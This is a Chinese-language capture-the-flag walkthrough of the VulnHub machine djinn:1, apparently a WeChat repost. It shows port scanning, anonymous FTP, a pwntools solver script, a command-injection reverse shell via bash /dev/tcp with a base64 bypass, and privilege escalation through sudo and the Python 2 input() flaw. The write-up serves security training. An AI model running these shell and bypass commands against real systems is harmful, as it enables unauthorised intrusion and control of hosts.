下载地址
https://www.vulnhub.com/entry/djinn-1,397/
环境搭建
VirtualBox
靶机Hack djinn:1 : walkthrough:192.168.56.104
信息收集
存活IP扫描(py脚本扫描)
发现靶机IP为192.168.56.104
端口扫描(Nmap)
nmap -sS -sV -T5 -A -p- 192.168.56.104
发现21,1337,7331端口开放,22端口过滤状态
21端口
ftp命令大全:http://imhuchao.com/323.html
匿名登录常用的账号密码
anonymous/空
主机的IP地址/空
自己的e_mail地址/空
节点自的IP地址/空
admin/空
administrator/空
使用anoymous/空,成功登录
mget *.* 下载当前目录下的所有文件,本地进行查看
匿名账户登录ftp下载并查看三个txt
creas.txt,一组用户名密码:nitu:81299
game.txt,提示在1337端口有个游戏
message.txt,要去度假,叫nitish81299照顾好工作
1337端口
使用浏览器访问了一下,无法访问
telnet访问
做一些加减乘除的运算,还必须得做完1000次,需要一个脚本,盘它
python脚本
from pwn import *
c = remote('192.168.56.104',1337)
c.recvuntil("nn", drop=True)
for i in range(1001):
c.recvuntil("(", drop=True)
int1 = c.recvuntil(",", drop=True)
c.recvuntil("'", drop=True)
mathsym = c.recvuntil("'", drop=True)
c.recvuntil(", ", drop=True)
int2 = c.recvuntil(")", drop=True)
equation = int1+mathsym+int2
print(str(i)+"th answer= "+str(equation))
c.sendlineafter('>',equation)
c.interactive()
算出来的结果1356、6784、3409,看不出来有啥用处
7331端口
nmap扫描之后发现7331
端口是HTTP服务,界面如下
对它进行目录扫描(webdirscan)
发现有两个目录 wish和genie对其进行查看
可能存在系统命令执行漏洞,经过测试,输入id,成功返回,存在系统命令执行漏洞
漏洞利用
利用系统命令执行漏洞反弹shell
Bash反弹,一直反弹不出来
bash -i >& /dev/tcp/192.168.56.104/1234 0>&1
猜测是过滤了某些字符
Bypass一些命令注入限制的姿势
https://xz.aliyun.com/t/3918
https://github.com/swisskyrepo/PayloadsAllTheThings
经过测试,base64编码就可绕过
base64在线编码,解码
https://www.bt.cn/tools/encrybase.html
nc监听1234端口
执行如下命令:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8xMjM0IDA+JjE=| base64 -d|bash
成功反弹shell,权限是www-data
获取shell之后要做的第一件事是获取一个tty,不然有些命令是无法执行的
python获取tty
python -c 'import pty;pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
查看 etc/passwd发现有两个用户sam和nitish
在/home/nitish目录下找到user.txt文件,查看没有权限,无法查看,需要提权
提权
提权(nitish)
在opt/80目录下查看所有文件,发现有几个py文件,查看app.py文件,发现过滤cmd的方法和一个文件
进行访问,发现是nitish的账号和密码文件
/home/nitish/.dev/creds.txt
发现nitish的账号密码
账号/密码:nitish/p4ssw0rdStr3r0n9
利用su进行提权,输入账号,密码得到nitish权限
查看user.txt得到第一个flag
提权(root)
查找sudo权限命令:sudo -l
sudo -u sam /usr/bin/genie -h 查看下使用说明,发现可以通过这个可执行文件得到一个shell,应该输入什么样的参数才能获得sam
用户的shell
man /usr/bin/genie查看一下使用帮助
man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。
genie可以完成你所有的愿望,甚至可以提升你的权限
执行了sudo -u sam /usr/bin/genie -p"/bin/sh",没有得到sam的shell
执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限
提权到了sam用户,再次执行sudo -l得到如下内容
执行sudo -u root /root/lago出现一个选择题,无论我们输入什么都不对
读取文件也是没有权限(哎)
使用find / -writable -type f 2>/dev/null查找可写文件
发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意
.pyc文件进行读取查看
整理出里面的内容主要内容如下
Working on it!!
Choose a number between1 to 100: sEnter your number:
Better Luck next time
Enter the full of thefile to read: s!User %s is not allowed to read
What do you want to do ?
Be naughty
Guess the number
Read some damn file
Enter your choice:
work your ass off!!
这些话你之前是不是都看到过?就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,看/home/sam/.pyc里面也有这样的描述
把该文件下载到本地进行反编译
靶机上有python环境,在改文件目录下使用 python开启一个http服务,下载到本地
python -m SimpleHTTPServer 8000
python反编译在线
https://tool.lu/pyc
反编译的代码如下
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
#num=1
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
python input()漏洞
Python 2.x 中有两种常用的方法来接收输入:
1、使用输入()功能:此功能需要您输入的输入值和类型,因为它是在不修改任何类型。
2、使用raw_input() 函数:该函数将您提供的输入显式转换为字符串类型
s1 =raw_input("Enter input to testraw_input() function: ")
printtype(s1)
s2 =raw_input("Enter input to testraw_input() function: ")
printtype(s2)
s3 =raw_input("Enter input to testraw_input() function: ")
printtype(s3)
s4 =input("Enter input to testinput() function: ")
printtype(s4)
s5 =input("Enter input to testinput() function: ")
printtype(s5)
s6 =input("Enter input to testinput() function: ")
printtype(s6)
输入
你好
456
[ ]
45
“再见”
[ ]
输出
Enter input totest raw_input() function: <type 'str'>
Enter input totest raw_input() function: <type 'str'>
Enter input totest raw_input() function: <type 'str'>
Enter input totest input () 函数:<type ' int '>
Enter inputtotest input() function: <type ' str '>
Enter input to testinput() function: <type ' list '>
可以看到使用raw_input()无论输入什么都是str字符串类型,input()输入要想输入”你好”必须要用引号不然会报错。也就是说如果input()输入一个变量返回也就是变量的值,不是一个”secret_number”字符串,raw_input()输入一个变量输出也就是个”secret_number”字符串,如下代码:
import random
secret_number = random.randint(1,500)
print "pick a number between 1 to 500"
while True:
res = input("Guess the number:")
#输入secret_number
#print(secret_number)
#res = raw_input("Guess thenumber: ")
#输入secret_number
#print(secret_number)
if res==secret_number:
print "You win"
break
else:
print "You lose"
continue
input(secret_number)会输出you win
raw_input(secret_number)会输出you lose
输入2,在输入num就提权到了root权限啦,得到第二个flag。
倏忽温风至,因循小暑来。洋湖有清风,可以消烦暑。城市的浮热,在原上的浓阴下散去。
原文始发于微信公众号(鹏组安全):靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论